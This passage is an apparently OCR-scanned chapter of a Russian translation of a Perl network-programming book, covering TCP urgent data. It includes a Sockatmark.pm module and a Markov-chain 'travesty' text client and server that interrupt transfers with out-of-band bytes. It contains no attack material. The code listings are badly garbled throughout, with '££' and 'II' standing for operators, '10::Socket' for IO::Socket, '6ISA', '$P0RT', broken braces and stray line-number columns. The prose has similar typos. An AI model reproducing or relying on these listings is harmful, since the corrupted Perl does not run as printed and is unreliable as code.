Рлава 17. Срочные данные TCP
517
под названием h2ph. Это инструментальное средство описано в оперативной
документации POD, но краткий пример его применения приведен ниже.
% cd /usr/include
% h2ph -r -1 .
Здесь предполагается использование системы UNIX, в которой файлы заголовка
хранятся в каталоге /usr/include. Пользователи других операционных систем,
в которых установлен транслятор С или C++, должны найти каталог файлов заголовков
своего транслятора и вызвать на выполнение сценарий h2ph из этого каталога. Даже
и в этом случае сценарий h2ph иногда вырабатывает неправильный код Perl, и поэтому
полученные файлы . ph могут потребовать корректировки вручную.
После создания преобразованных файлов заголовков все равно приходится
определять, какой из них содержит константу SIOCATMARK. Один из подходов состоит
в осуществлении нескольких попыток до тех пор, пока одна из них не окажется
успешной. В следующем фрагменте кода используется жестко закодированное значение
для систем Win32, а затем предпринимается ряд попыток обратиться по возможным
путям поиска файла .ph. Если ни одна из этих попыток не оказывается успешной,
вызывается функция die.
$"0 eq 'Win32' ££ eval "sub SIOCATMARK { 0x40047307 }";
defined &SIOCATMARK II eval { require "sys/ioctl.ph" };
defined &SIOCATMARK || eval { require "sys/socket.ph" };
defined &SIOCATMARK || eval { require "sys/sockio.ph" };
defined &SIOCATMARK II eval { require "sys/sockios.ph" };
defined &SIOCATMARK or die "Can't determine value for SIOCATMARK";
В листинге 17.4 приведен небольшой модуль Sockatmark.pm, в котором
реализован вызов функции sockatmark(). После загрузки он добавляет метод atmarkf)
к классу 10: : Socket, что позволяет непосредственно опрашивать сам сокет.
use Sockatmark;
warn "at the mark" if $sock->atmark;
ЛИСТИНГ 17.4. Модуль Sockatmark.pm
0: package Sockatmark;
1: # Файл: Sockatmark.pm
2: use strict;
3: use vars qw(@ISA @EXP0RT_0K);
4
5
б
7
8
9
10
11
12
13
14
15
16
require Exporter;
6ISA = 'Exporter';
GEXP0RT_0K = 'sockatmark'; .
$л0 eq 'Win32' ££ eval "sub SIOCATMARK { 0x40047307
defined &SIOCATMARK I I eval { require "sys/socket.ph" }
defined &SIOCATMARK I I eval { require "sys/ioctl.ph" }
defined &SIOCATMARK || eval { require "sys/sockio.ph" }
defined &SIOCATMARK I I eval { require "sys/sockios.ph" }
defined &SIOCATMARK or die "Couldn't find SIOCATMARK";
sub sockatmark {
my $sock = shift;
my $d;
return unless ioctl($sock,SIOCATMARK{),$d);
518
Часть IV. Дополнительные темы
17: return unpack("i",$d) != 0;
18: }
19: sub 10::Socket::atmark { return sockatmark($_[0]) }
20: 1;
Таким образом, можно явно импортировать функцию sockatmar k () в строке use.
use Sockatmark 'sockatmark';
warn "at the mark" if sockatmark($sock};
Сервер генерации пародийных текстов
Теперь у нас есть все необходимое для разработки пары клиент/сервер, в которой
срочные данные применяются для выполнения полезных действий. В этом сервере
реализован алгоритм автоматического создания пародий на основе цепей Маркова,
обеспечивающий анализ текстового документа и выработку нового, в котором
соблюдаются те же частоты пар слов, что и в оригинале. В результате создается полностью
непостижимый для восприятия документ, который по своему стилю напоминает
оригинал. Например, ниже приведена выдержка из текста, созданного после применения
алгоритма генерации пародий к оригиналу текста предыдущей главы.
It initiates an EWOULDBLOCK error. The urgent data signal. This
may be several such messages from different children. The parent
will start a new document that explains the problem in %STATUS.
Just before the urgent data is because this version can handle
up to the EWOULDBLOCK error constant. The last two versions of
interrupts now shows this pattern: Each time through, sysreadO
is called the "thundering herd" phenomenon. More seriously,
however, some operating systems may not already at its maximum.
После применения этого "имитатора" к произведению Эрнеста Хемингуэя был
получен столь же забавный результат. Однако, на удивление, поздние работы
Джеймса Джойса в результате такого преобразования почти совсем не пострадали.
В этом примере пара клиент/сервер 'распределяет свою работу в соответствии
с классическими канонами. Клиент обеспечивает взаимодействие с пользователем.
Он выдает пользователю приглашение ввести команды для загрузки текстовых
файлов в анализатор, генерирует пародию и переустанавливает таблицы частоты слов.
Сервер выполняет более сложную работу; он строит модель Маркова на основе
загруженных файлов и генерирует пародии произвольной длины.
Для подобного приложения срочные данные TCP могут оказаться весьма кстати,
поскольку серверу обычно требуется гораздо меньше времени на проведение анализа
частот пар слов в выгруженном текстовом файле, чем клиенту— для его выгрузки.
У пользователя может возникнуть желание прекратить выгрузку на полпути, и в этом
случае клиент должен отправить серверу срочный сигнал, чтобы он остановил
обработку файла и проигнорировал все данные, отправленные с того момента, как
пользователь прервал процесс.
И наоборот, сразу после создания таблицы частот пар сервер получает
возможность генерировать текст пародии намного быстрее, чем сеть может его переслать.
Необходимо предусмотреть для пользователя возможность прервать входящий поток
текста, опять-таки, путем выдачи сигнала об отправке срочных данных.
1<Глава 17. Срочные данные TCP
519
Для этой пары клиент/сервер, кроме всех стандартных модулей, нужны еще три
внешних: Sockatmark, который уже рассматривался, Text: :Travesty, генератор
пародий, и 10: :Getline, неблокирующая альтернатива функции getline() языка
Perl, разработанная в главе 13 (листинг 13.2). В данном случае модуль 10: :Getline
применяется не ради его неблокирующих средств, а в силу предусмотренной в нем
возможности очищать внутренний строковый буфер при вызове метода f lush ().
Модуль Text::Travesty
Алгоритм создания пародий реализован в небольшом модуле Text: :Travesty.
Его исходный код приведен в Приложении А, "Дополнительный исходный код"; он
может быть также получен из архива CPAN. Этот модуль был создан на основе
небольшого демонстрационного приложения, которое находится в каталоге eg/
дистрибутива Perl. Как и другие модули, приведенные в этой книге, он является объектно-
ориентированным. Выполнение программы начинается с создания нового объекта
Text: : Travesty с помощью метода Text: :Travesty->new ().
$t = Text::Travesty->new;
Затем вызывается метод add () один или несколько раз для анализа частот пар
слов в отрывке текста.
$t->add($text);
После анализа текста можно генерировать текстовую пародию путем вызова
метода generate() или pretty_text().
$travesty = $t->generate (1000);
$wrapped = $t->pretty_text(2000) ;
Оба метода принимают числовой параметр, который указывает длину
генерируемой пародии, измеряемую количеством слов. Разница состоит в том, что метод
generate () создает неотформатированный текст, не разбитый на строки, а метод
pretty_text () вызывает модуль Text: :Wrap языка Perl для создания аккуратных
абзацев, обозначенных отступами и разбитых на строки.
Метод words () возвращает число уникальных слов в таблице частот, а метод
reset () очищает таблицу и готовит объект для получения новых данных,
предназначенных для анализа.
$word_count = $t->words;
$t->reset;
Проект сервера генерации пародийных текстов
Сервер генерации пародийных текстов в основном служит для иллюстрации
способа обработки срочных данных. Кроме того, он позволяет продемонстрировать ряд
важных принципов проектирования средств взаимодействия клиент/сервер.
1. Сервер ориентирован на построчный ввод-вывод. После получения входящего
запроса на установление соединения он выдает заголовок приглашения, а затем
входит в цикл, в котором читает строку из сокета, интерпретирует команду
и выполняет соответствующие действия. Распознаются следующие команды:
■ DATA. Подготовка к получению текстовых данных для анализа. Сервер
считывает неопределенный объем входящей информации и завершает чтение после
520
Часть IV. Дополнительные темы
обнаружения точки (.) в отдельной строке. Текст передается модулю
Text: : Travesty длясоздания таблицы частот.
■ RESET. Очистка таблицы частот алгоритма генерации пародий.
■ GENERATE <word_count>. Создание пародии на основе хранимой таблицы
частот. Здесь word_count— положительное целое число, которое указывает
длину создаваемой пародии. Сервер обозначает конец пародии, высылая
строку, содержащую только одну точку.
■ BYE. Завершение соединения.
2. Сервер отвечает на каждую команду, посылая строку ответа, примерно так:
205 Travesty reset
Для клиентской программы имеет значение начальный трехзначный код
результата. Текст, предназначенный для восприятия человеком, служит для
дистанционной отладки.
3. Отладка упрощается также благодаря тому, что в сервере для обозначения
конца строки во всех входящих командах и исходящих ответах применяется
пара символов CRLF. В результате, сервер становится совместимым с Telnet
и другими обычными сетевыми клиентами.
Код этого серверного приложения приведен в листинге 17.5.
Листинг 17.5. Сервер генерации паро < иных текстов
0: #!/usr/bin/perl
1: # Файл: trav_serv.pl
use strict;
use POSIX 'WNOHANG';
use IO::Socket qw(:DEFAULT :crlf),
use Fcntl 'F_SET0WN';
use Text::Travesty;
use IO::Getline;
use 10::Sockatmark;
use constant DEBUG => 1;
9
10: my ($gl,$line);
11: $SIG{CHLD} = sub { 1 while waitpid(-l,WNOHANG) > 0 };
12: $SIG{URG} = 'IGNORE';
13: my $P0RT = shift II 2007;
14: my $listen = 10::Socket::INET->new( Listen => 15,
15: LocalPort => $PORT,
16: Reuse => 1) or
die "Can't listen: $!'
17: warn "Listening on port $P0RT...\n";
18
19
20
21
22
23
24
while (my $sock = $listen->accept) {
my $child = fork;
die "Can't fork: $!" unless defined $child;
unless ($child > 0) {
handle_connection($sock);
exit 0; # В дочернем процессе не выполняется возврат
}
Глава 17, Срочные данные TCP
521
25: close ?sock;
26: }
# Код обработки каждого соединения
sub handle_connection {
my $sock = shift;
warn "client connecting...\n" if DEBUG;
fcntl($sock,F_SETOWN,$$) or die "Can't set owner: $!";
local $/ = "$CRLF";
my $travesty = Text::Travesty->new;
$gl = 10::Getline->new($sock);
$gl->blocking(1); # Включение блокирующего режима
syswrite($sock, "100 Travesty server version 1.0$CRLF");
my $command;
while (my $result = $gl->getline($command)) {
warn "command = $command" if DEBUG;
chomp $command;
analyze_file ($travesty),next if $command eq 'DATA*;
reset_travesty($travesty),next if $command eq 'RESET*;
make_travesty($travesty,$1),next if $command =
~ //4GENERATE\s+(\d+)$/;
$gl->syswrite(n204 goodbye$CRLF"),last if $command eq "BYE";
$gl->syswrite("500 unknown command$CRLF");
}
warn "client exiting...\n" if DEBUG;
close $sock;
}
# Анализ файла
sub analyze_file {
my $travesty = shift;
$travesty->reset;
$gl->syswrite("201 Upload data; end with \".\"
on a line by itself.$CRLF");
my $line;
eval {
local $SIG{URG} = sub { do_urgent(); die };
while (my $result = $gl->getline($line)) {
chomp $line;
last if $line eq '.';
$travesty->add($line);
}
};
$gl->syswrite("202 processed ".$travesty->words()."
words$CRLF");
}
# Создание файла пародии
sub make_travesty {
my ($travesty,$words) = G_;
$gl->syswrite("500 no data analyzed$CRLF"), return
unless $travesty->words;
71: $gl->syswrite("203 travesty follows$CRLF");
522
Часть IV. Дополнительные темы
my $abort =0;
eval {
local $SIG{URG} = sub {do_urgent(); $abort++; die };
while ($words > 0) {
my $w = $words > 500 ? 500' : $words;
my $text = $travesty->pretty_text($w);
$text =~ s/\n/$CRLF/g;
$gl->syswrite($text);
$words -= $w;
}
$gl->syswrite(".$CRLF");
};
if ($abort) {
warn "make_travesty() aborted\n" if DEBUG;
$gl->send('!',MSG_OOB);
}
}
sub reset_travesty {
my $t = shift;
$t->reset;
$gl->syswrite("205 travesty reset$CRLF");
}
sub do_urgent {
my $data;
warn "dourgent()n if DEBUG;
my $sock = $gl->handle;
# Чтение, вплоть до маркера, и отбрасывание данных
until ($sock->atmark) {
my $n = sysread($sock,$data,1024);
warn "discarding $n bytes\n" if DEBUG;
}
# Чтение и отбрасывание внеочередных данных
warn "reading 1 byte of urgent data\n" if DEBUG;
recv($sock,$data,l,MSG_OOB);
# Отправка срочных данных отправителю
$gl->flush; # Очистка буфера данных
}
Проведем анализ программы.
Строки 1-12. Загрузка модулей и инициализация обработчиков сигналов. В этом сервере
генерации пародийных текстов применяется знакомая архитектура с приемом и ветвлением.
Кроме обычных сетевых пакетов, загружается модуль Fcntl для получения доступа к
константе F_SETOWN, а также модули Text::Travesty. 10: :Getline и Sockatmark. Напомним, что
последний модуль добавляет метод atmarko к классу Ю:: socket. Определена также
константа debug, которая разрешает выдачу отладочных сообщений, и объявлена глобальная
переменная для хранения объекта Ю:: Get line.
После загрузки необходимых модулей устанавливается два обработчика сигналов. В серверах
с приемом и ветвлением обычно применяется обработчик chld. Вначале интерпретатор Perl
получает указание игнорировать сигналы urg. Затем эти сигналы будут снова разрешены там,
где они имеют смысл: во время выгрузки и загрузки больших потоков данных.
Строки 13-26. Создание приемного сокета и начало цикла приема. Сервер создает
приемный сокет и входит в цикл accept (). При получении каждого входящего запроса на установ-
Глава 17. Срочные данные TCP
523
ление соединения порождается дочерний процесс, который выполняет подпрограмму
handle_connection (). После завершения этой подпрограммы дочерний процесс
прекращает свое существование.
• Строки 27-49. Подпрограмма handle_connection(). Данная подпрограмма отвечает за
управление объектом Text::Travesty, чтение клиентских команд из сокета и их передачу
соответствующей подпрогремме. Выполнение подпрограммы начинается с вызова функции
f cnti () для установки владельца сокета с тем, чтобы процесс мог принимать срочные
сигналы. В случае успешного выполнения этой операции устанавливаются символы завершения
конца строки равными паре crlf с использованием оператора local для динамического
ограничения области определения этого значения в глобальной переменной $/ текущим блоком
и всеми вызываемыми в нем подпрограммами.
Теперь создается новый объект Text::Travesty и строится оболочка Ю: :Getline для
сокета. Как было описано в главе 13, модуль Ю:: Get line предусматривает неблокирующее
поведение по умолчанию. В этом приложении неблокирующие средства не используются,
поэтому после создания оболочки блокировка снова должна быть разрешена. Оболочка
Ю: :Getline является глобальной для пакета с тем, чтобы обработчик URG мог ее найти;
поскольку в данном сервере для обслуживания каждого входящего соединения используются
разные процессы, такое применение глобальной переменной не вызывает проблем.
После завершения инициализации клиенту выдается заголовок приглашения с
использованием кода результата 200. Обратите внимание, что модуль iO::Getllne поддерживает все
объектные методы Ю::Socket, включая syswrite(). В результате код становится более
легким для чтения, чем в том случае, когда каждый раз применяется еызов метода handle ()
объекта 1С:: Get line для выборки основополагающего сокета.
Остальная часть кода подпрограммы handle_connection () представляет собой цикл
обработки команд. При каждом проходе по циклу считывается и интерпретируется строка, а также
выполняются соответствующие действия. Команда bye выполняется непосредственно в
цикле, а остальные команды передаются соответствующим процедурам. Если команда не
распознана, сервер выдает код ошибки 500.
• Строки 50-65. Подпрограмма analyze_f ile (). Эта подпрограмма обрабатывает
выгруженные данные. Она принимает объект Text::Travesty, повторно инициализирует его путем
вызова метода reset (), а затем передает сообщение 201, которое служит для удаленного
хоста приглашением к выгрузке текстовых данных.
Теперь подпрограмма переходит к приему данных, выгружаемых с клиента, путем повторного
вызова метода $gi->getiine () до тех пор, пока не встретится строка, состоящая только из
одной точки, или пока выполнение не будет прервано сигналом urg.
Для корректного завершения цикл заключен в блок eval (} и создан обработчик urg,
локальный по отношению к данному блоку. При поступлении срочного сигнала обработчик вызывает
подпрограмму do_urgent (), а затем — функцию die. Поскольку функция die () вызывается
в блоке eval {}, она приводит к завершению блока eval {} и переходу к выполнению
первого оператора после блока eval {}.
Перед завершением работы подпрограммы передается сообщение с кодом 202, содержащее
число уникально обработанных слов, независимо от того, была прервана выгрузка или нет.
Следует отметить, что прераанная передача файла рассматривается аналогично тому, как
если бы был преждевременно обнаружен конец выгружаемого файла. Генератор пародий
остается в том же состоянии, в каком он находился в момент получения сигнала urg. Поскольку
работа генератора пародий не зависит от того, анализирует ли он часть файла или целый
файл, такая ситуация не является аварийной и может применяться для реализации
дополнительного средства. В другом приложении в этом случае может потребоваться переустановка
в известное состояние.
• Строки 56-88. Подпрограмма make_travesty О. Подпрограмма maketravestyo
отвечает за генерацию текста пародии и передачу его клиенту. Ее параметрами являются объект
Text::Travesty и размер генерируемой пародии. Вначале выполняется проверка того, что
объект Text::Travesty не пуст; если он пуст, подпрограмма возвращает сообщение об
ошибке. В ином случае возвращается сообщение с кодом 203, которое означает, что далее
следует текст пародии.
Теперь происходит подготовка к передаче полученного пародийного текста. Как и в предыдущей
подпрограмме, данная подпрограмма входит в цикл ввода-вывода, заключенный в блок eval {},
и снова устанавливается локальный обработчик urg, который вызывает на выполнение подпрс-
524
Часть IV. Дополнительные темы
грамму do urgent (), а затем — функцию die. Если сокет входит в режим передачи срочных
данных, цикл загрузки немедленно прекращается. Однако на этот раз обработчик urg
устанавливает также локальную переменную Sabort равной истинному значению. В цикле вызывается
метод pretty_text () объекта Text:: Trave sty для генерации вплоть до 500 слов, символы
обозначения конца строки заменяются последовательностью crlf и выполняется запись
полученного текста. В конце цикла передается строка, состоящая из одной точки.
Если передача была прервана аварийно, необходимо сообщить клиенту, чтобы он отбросил
данные, оставшиеся в потоке сокета. Это действие выполняется путем отправки клиенту байта
срочных данных с использованием следующей общей схемы.
if ($abort) {
warn "make_travesty() aborted\n" if DEBUG;
$gl->send('!',MSG OOB);
>
}
Снова отметим, что метод sendO передается модулем iO::Getline основополагающему
объекту Ю:: Socket.
• Строки 89-93. Подпрограмма reset_travesty(). Эта подпрограмма вызывает метод
reset () объекта Text::Travesty и передает сообщение с подтверждением, что таблица
частоты слов была очищена.
• Строки 94-108. Обработчик сигнала dojurgent О. Обработчик сигнала do_urgent'()
отвечает за очистку внутреннего буфера чтения при получении байта срочных данных.
Выполняется выборка сокета из глобального объекта io:: Get line и вызов функции sysreadf) в
непрерываемом цикле до тех пор, пока метод atmark () сокета не вернет истинное значение.
В результате будут отброшены все данные, вплоть до байта срочных данных.
Затем вызывается функция recv () для чтения самих срочных данных. В этом приложении
содержимое срочных данных не имеет особого значения, поэтому оно игнорируется. После этого
производится очистка всех оставшихся данных во внутреннем буфера объекта Ю: :Getiine
путем вызова его метода flush (). Конечным результатом таких манипуляций является то,
что все несчитанные данные, переданные вплоть до байта срочных данных (и включая его),
будут отброшены.
Клиент сервера генерации пародийных текстов
Далее рассматривается клиентская программа (листинг 17.6). Она немного
сложнее по сравнению с серверной, поскольку должна получать команды от пользователя,
отправлять их на сервер и интерпретировать коды состояния сервера
соответствующим образом.
Листинг 17.6. Клиент сервера гене >ации па• «дойных текстов
0: #!/usr/bin/perl
1: # Файл: trav cli.pl
use strict;
use Fcntl 'F_SETOWN';
use IO::Socket qw(:DEFAULT :crlf);
use IO::File;
use IO::Getline;
use IO::Sockatmark;
use constant DEBUG => 1;
$1 = 1;
10: my $HOST = shift || Uocalhost"
■11: my $PORT = shift I I 2007;
Глава 17. Срочные данные TCP
525
12: my ($gl,$quit_now,$line);
13: $SIG{QUIT} = sub { exit 0 };
14: $SIG{INT} = sub { ++$quit_now >= 2 && exit 0;
warn "Press "C again to exit\n" };
15: $SIG{URG} = \&do_urgent;
16: my $sock = 10::Socket::INET->new("$H0ST:$P0RT") or
die "Can't connect";
17: # Установить владельца сокета, чтобы можно было получать
# сигнал URG
18: fcntl($sock, F_SETOWN,$$) or die "Can't set owner: $!";
19: $gl = 10::Getline->new($sock);
20: $gl->blocking(l); # Включение блокирующего режима
21: $gl->getline($line) or
die "Unexpected close of server socket\n";
22: $line =~ /"100/ or
die "Didn't get welcome banner from server.\n";
23: print "> ";
24
25
26
27
28
29
30
31
32
33
34
35
36
41
42
43
44
45
46
47
48
49
50
51
while (<>) { # Чтение команд из дескриптора STDIN
chomp;
next unless my ($command,$args) = /"(\w+)\s*(.*)/;
do_analyze($args),next if $command =~ /Лапа1уге$/1;
do_reset($args),next if $command =~ /"reset$/i;
do_get($args),next if $command =~ /"generate$/i;
do_bye($args),last if $command =~ /"(good)?bye|quit$/i;
print_usage();
} continue {
$quit_now =0;
print "> ";
}
$gl->close;
37: sub do_analyze {
38: my $file = shift;
39: my $fh = 10::File->new($file);
40: warn "Couldn't open $file: $!\n" and return unless $fh;
$gl->syswrite("DATA$CRLF");
return unless $gl->getline($line);
warn $line and return unless $line =~ /Л201/;
print "analyzing...";
my $abort =0;
eval {
local $SIG{INT} =
sub { print "interrupted!..."; $abort++; die; };
my $data;
while (<$fh>) {
chomp;
next unless /\w+/; # Пропуск пустых строк и строк,
# состоящих из одной точки "."
526 Часть IV. Дополнительные темы
52: $gl->syswrite("$_$CRLF");
53: }
54: $gl->syswrite(".$CRLF");
55: };
56: $gl->send("!",MSG_OOB) if $abort;
57: return unless $gl->getline($line);
58: warn $line and return unless $line =~ /"202 \D*(\d+) words/;
59: print "processed $1 words\n";
60: }
61: sub do_reset {
62: my $line;
63: $gl->syswrite("RESET$CRLF") ;
64: $gl->getline($line) or die "unexpected close of socket\n";
65: warn $line and return unless $line =~ /л205/;
66: print "reset successful\n";
67: }
68: sub do_bye { $gl->syswrite("BYE$CRLF") }
69: sub do_get {
70: my $words = shift;
71: warn "Argument to generate must be numeric\n" and return
72: unless $words =~ //4\d+$/;
73: $gl->syswrite("GENERATE $words$CRLF") ;
74: $gl->getline($line) or die "unexpected close of socket\n";
75: warn $line and return unless $line =~ /л203/;
76: my $abort = 0;
77: eval {
78: local $/ = "$CRLF";
79: local $SIG{INT} = sub { $abort++; die };
80: while ($gl->getline($line)) {
81: chomp $line;
82: last if $line eq *.';
83: print $line,"\n";
84: }
85: };
86: if ($abort) {
87: $gl->send("!",MSG_00B) ;
88: print "\n[interrupted]\n";
89: }
90: }
91: sub do_urgent {
92: my $data;
93: warn "do_urgent()" if DEBUG;
94: my $sock = $gl->handle;
95: # Чтение, вплоть до маркера, и отбрасывание данных
96: until ($sock->atmark) {
97: my $n = sysread($sock,$data,1024);
98: warn "discarding $n bytes of data\n" if DEBUG;
99: }
100: # Чтение и отбрасывание внеочередных данных
101: warn "reading 1 byte of urgent data\n" if DEBUG;
102: recv($sock,$data,l,MSG_OOB) ;
103: $gl->flush;
104: }
Глава 17. Срочные данные TCP
527
105
106
107
108
109
110
111
112
113
sub print usage {
print «END;
commands:
analyze /pa
generate NNNN
reset
goodbye
END
}
/path/to/file
Проведем анализ программы.
Строки 1-9. Загрузка модулей. Устанавливается строгая проверка типов, и загружаются
требуемые сетевые модули, включая модуль sockatmark, рассматриваемый в этой главе. Кроме
того, дескриптор файла stdout переводится в небуферизоаанный режим, чтобы приглашения
к вводу команд пользователем появлялись немедленно.
Строки 10-12. Установка глобальных переменных. Глобальные переменные $host и $port
содержат имя удаленного хоста и номер порта. Если эти данные не заданы в командной строке,
вместо них по умолчанию применяются приемлемые значения. В этом сценарии используются
еще две глобальные переменные. Переменная $gi содержит объект Ю: :Getiine, который
служит оболочкой для подключенного сокета, а переменная Sguit_now— флажок, который
указывает, что программа должна завершить работу. Эти переменные являются глобальными, и
поэтому к ним можно получить доступ в обработчиках сигналов.
Строки 13-15. Установка обработчиков сигналов, применяемых по умолчанию.
Выполняется установка некоторых обработчиков сигналов. Сигнал quit, который обычно
вырабатывается после нажатия комбинации клавиш <Ctn>\>, применяется для завершения программы.
Однако сигнал INT более интересен. При каждом вызове обработчика он наращивает
глобальную переменную Squitnow на единицу. Как только переменная достигает значения 2
или более, выполнение программы завершается. В ином случае обработчик выводит
сообщение "press ctri+c again to exit". В результате этого для завершения программы
пользователь должен дважды нажать клавишу прерывания без промежуточных команд. Это
позволяет исключить возможность прерывания программы пользователем, который хотел просто
прервать передачу данных. Обработчик urg настроен на вызов подпрограммы do_urgent (),
которая рассматривается ниже.
Строки 16-18. Создание подключенного сокета. Предпринимается попытка создать
дескриптор io:: Socket, подключенный к удаленному хосту. В случае успеха применяется
функция f cnti () для установки в качестве владельца сокета текущего процесса, чтобы этот
процесс мог получать сигналы urg.
Строки 19-22. Создание оболочки Ю: :Getline. Создается новая оболочка сокета
io:: Get line, включается блокирующий режим поведения и немедленно начинается поиск
заголовка приглашения хоста путем сопоставления кода результата с образцом 200. Если в
полученных данных код результата отсутствует, вызывается функция die с соответствующим
сообщением об ошибке.
Строки 23-35. Цикл обработки команд. Теперь программа входит в главный цикл обработки
команд. При каждом проходе по циклу выводится приглашение к вводу команды (">") и со
стандартного устройства ввода считывается строка, введенная пользователем. Команда
интерпретируется, и вызывается соответствующая подпрограмма. Команды пользователя перечислены ниже.
analyze. Выгрузить и проанализировать текстовый файл.
generate. Сгенерировать пародию длиной гдадаслов.
reset. Очистить таблицу частот.
Ьуе. Выйти из программы.
goodbye. Выйти из программы.
528
Часть IV. Дополнительные темы
В блоке continue {} цикла обработки команд переменная $quit_now устанавливается
равной 0, что приводит к сбросу глобального счетчика int.
Строки 37-60. Подпрограмма do_analyze(). Эта подпрограмма используется для выгрузки
текстового файла на сервер и выполнения анализа. Подпрограмма в качестве параметра
получает путь к файлу и пытается открыть его с помощью модуля Ю: :Fiie. Если файл не
может быть открыт, подпрограмма выдает предупреждающее сообщение и возвращает
управление. В ином случае серверу отправляется команда data и строка ответа. Если ответ имеет
ожидаемый код результата 201, выполнение подпрограммы продолжается. В
противоположном случае выполняется эхо-поетор ответа на стандартное устройство вывода сообщения об
ошибках и подпрограмма возвращает управление.
Теперь начинается выгрузка текстового файла на сервер. Как и в коде сервера, выгрузка
выполняется в блоке eval {}, но в этом случае должен быть выполнен перехват сигнала int.
Перед входом в блок локальная переменная Sabort устанавливается равной ложному
значению. В блоке создается локальный обработчик int., который выводит предупреждающее
сообщение, устанавливает переменную Sabort равной истинному значению и вызывает
функцию die, что приводит к завершению блока eval {). Поскольку этот обработчик объявлен как
локальный, первоначальный обработчик int на время замещается локальным, а затем
автоматически восстанавливается после выхода из блока eval {}. В самом блоке выполняется
построчное чтение текстового файла и отправка его на сервер. После обнаружения признака
конца файла на сервер в отдвльной строке отправляется символ".".
После выхода из цикла проверяется переменная $ abort. Если она имеет истинное значение,
то передача была прервана преждевременно, при нажатии пользователем клавиши
прерывания. Необходимо сообщить об этом серверу, чтобы он игнорировал все необработанные
данные, отправленные ему из этой клиентской программы. Эта задача выполняется путем
отправки серверу одного байта срочных данных.
Последний этап состоит в чтении строки ответа, полученной от сервера, и выгоде числа
успешно обработанных уникальных слов.
Строки 61-67. Обработка команд reset и bye. Подпрограмма do_reset () отправляет на
сервер команду reset и проверяет код результата. Подпрограмма do_bye () отправляет на
сераер команду bye, но в этом случае не проверяет код результата, поскольку программа так
или иначе должна завершить работу.
Строки 68-90. Подпрограмма get (). Подпрограмма do_get () вызывается, когда пользователь
решает создать пародию на основе ранее выгруженного файла. Подпрограмма получает
параметр, состоящий из числа слов в создаваемой пародии, которое передается серверу в форме
команды generate. Затем ответ от сервера считывается и обрабатывается, только если в нем
содержится ожидаемый код 203, который означает, что далее следует текст пародии.
Теперь подпрограмма готова для чтения текста пародии с сервера. Здесь применяется такая
же конструкция, как и в подпрограмме do_anaiyze (). Устанавливается ложное значение
локальной переменной $abort и подпрограмма входит в цикл, который заключен в блок eval
{). На время выполнения этого цикла применяемый по умолчанию обработчик int
заменяется другим, который наращивает значение переменной Sabort и вызывает функцию die, что
приводит к завершению блока eval {}. В этом цикле принимаются строки с сервера,
удаляются пары символов crlf с помощью функции chomp (), а затем строки выводятся на
стандартное устройство вывода с применением правильной последовательности символов для
обозначения конца строки. Цикл завершается корректно после обнаружения строки, состоящей
из одной точки.
После выхода из цикла проверяется переменная sabort для определения того, не произошло
ли аварийное завершение. Если эта переменная имеет истинное значение, то на сераер
отправляется байт срочных данных, который сообщает ему о том, что нужно прекратить
передачу. Напомним, что это приводит также к тому, что сервер отправляет в ответ байт срочных
данных для указания той точки, в которой была остановлена передача.
Строки 91-104. Подпрограмма dojurgentО - Подпрограмма do_urgent() обрабатывает
сигналы urg; она аналогична подпрограмме с тем же именем в сценарии сервера. Она
отбрасывает все, что поступает из сокета, вплоть до байта срочных данных (включая его), и
переустанавливает содержимое объекта Ю:: Get line.
Глава 17. Срочные данные TCP
529
• Строки 105-113. Вывод инструкции по использованию программы. Подпрограмма
print_usage () выдает краткую сводку команд, которая выводится на экран при каждом
вводе пользователем нераспознанной команды.
Проверка сервера генерации пародийных текстов
Для проверки клиента и сервера генерации пародийных текстов автор запустил сер
вер на одном компьютере, а клиент— на другом и в обоих случаях установил константу
DEBUG в истинное значение, чтобы можно было видеть отладочные сообщения.
Для первой проверки автор выгрузил файл chl7.txt с помощью команды
analyze и дождался окончания выгрузки. Затем он выдал команду generate 100 для
генерации пародии длиной в 100 слов.
% trav_cli.pl prego.lsjs.org
> analyze /home/lstein/docs/chl7.txt
analyzing...processed 2658 words
> generate 100
Summary This will be blocked in flock() until the process
receives a signal to the top of the preforking server that you
can provide an optional timeout value to return if no events
occur within a designated period. The handles() method returns a
nonempty list.
At the very top of the program simply terminates with an error
message to the named pipe (also known as an "event"). Each child
process IDs. Its keys are the children. Only one of its
termination. However in an EWOULDBLOCK error. The urgent data
containing the character "!"
Следующий этап состоял в проверке того, можно ли прерывать выгрузку. Снова
была выполнена команда analyze, но на этот раз клавиша прерывания была нажата
до завершения анализа.
> analyze /home/lstein/docs/chl7.txt
analyzing...interrupted!...processed 879 words
Это сообщение показывает, что на этот раз из 2658 уникальных слов было
обработано только 879, что подтверждает успешное преждевременное прерывание
выгрузки. Между тем, на серверной стороне соединения обработчик URG подпрограммы
dO_urgent () сервера выдавал следующие отладочные сообщения по мере
уничтожения всех данных, вплоть до указателя срочных данных.
command = DATA
discarding 1024 bytes
discarding 1024 bytes
discarding 1024 bytes
discarding 1024 bytes
discarding 531 bytes
reading 1 byte of urgent data
Последняя проверка проводилась для проверки того, можно ли прервать
генерацию пародии. Автор выдал команду generate 20000 для выработки очень длинной
пародии объемом 20000 слов, но на этот раз нажал клавишу прерывания, как только
текст начал появляться на экране.
> reset
reset successful
> analyze /home/lstein/docs/chl7.txt
530
Часть IV. Дополнительные темы
analyzing...processed 2658 words
> generate 20000
to the segment has already been created by a series of possible
.ph file paths. If none succeeds, it dies: Figure 7.4: This
preforking server won't actually close it until all the data
bound for the status hash, and DEBUG is a simple solution is to
copy the contents of the socket or STDIN will be inhibited until
the process receives an INT or TERM signal handlers are parent-
specific. So we don't want to do this while there is significant
complexity lurking under the surface. TCP urgent data. Otherwise
the [interrupted]
discarding 1024 bytes of data
discarding 1024 bytes of data
discarding 855 bytes of data
reading 1 byte of urgent data
Как и ожидалось, передача была прервана, и обработчик сигнала URG клиентского
сценария вывел ряд отладочных сообщений по мере уничтожения данных, вплоть до
байта срочных данных сервера.
Резюме
Срочные данные TCP позволяют "вне очереди" передать из одного процесса в
другой, через поток обычных данных TCP, информацию о том, что произошло
некоторое важное событие. Хотя срочный сигнал передается "вне очереди", а это значит,
что он доставляется на удаленный хост в приоритетном режиме, сами срочные
данные в действительности не передаются таким образом, а подчиняются тем же
правилам определения последовательности передачи и управления потоком данных, что
и обычные данные TCP. Для внеочередного чтения срочных данных может
понадобиться читать (и, возможно, отбрасывать) переданные ранее обычные данные до тех
пор, пока не станут доступными срочные. Поэтому проще всего можно организовать
работу со срочными данными, если имеет значение само существование этих данных,
а не их фактическое содержание.
Кроме того, можно не только прочитать байт срочных данных, но и определить
